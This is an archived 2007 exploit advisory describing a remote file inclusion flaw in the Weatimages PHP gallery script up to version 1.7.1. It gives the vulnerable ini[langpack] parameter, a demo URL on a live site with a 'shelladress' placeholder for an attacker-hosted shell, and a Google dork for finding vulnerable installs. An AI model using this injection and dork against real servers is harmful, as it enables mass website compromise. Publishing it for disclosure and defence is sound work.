[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Weatimages <= 1.7.1 ini[langpack] Remote File Inclusion Vulnerability
# Published : 2007-04-10
# Author : Co-Sarper-Der
# Previous Title : phpGalleryScript 1.0 (init.gallery.php include_class) RFI Vulnerability
# Next Title : Crea-Book <= 1.0 Admin Access Bypass / DB Disclosure / Code Execution
RFI Weatimages Hack
Script name : Weatimages
Script Download Adress:http://www.hotscripts.com/jump.php?listing_id=52592&jump_type=1
Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?ini[langpack]=shelladress
Google Dork : inurl: index.php?ini[langpack]=
Author:Co-Sarper-Der
Contact:Sarperonline@gmail.com
Note:Thanx to ForeveRIslam
side note:
4. Installation
Unpack file "index.php" from this archive and upload it to separate directory (e.g. "photos/") on your web server.
In order to enable caching capabilities, you need to create the new directory named "weatimages-cache" in directory
with "index.php" and to set access rights 777 (rwxrwxrwx) to "weatimages-cache".
If you plan to customize configuration, upload "weatimages.ini" too.
If weatimages.ini was uploaded too then the product isn't vulnerable.
# www.Syue.com [2007-04-10]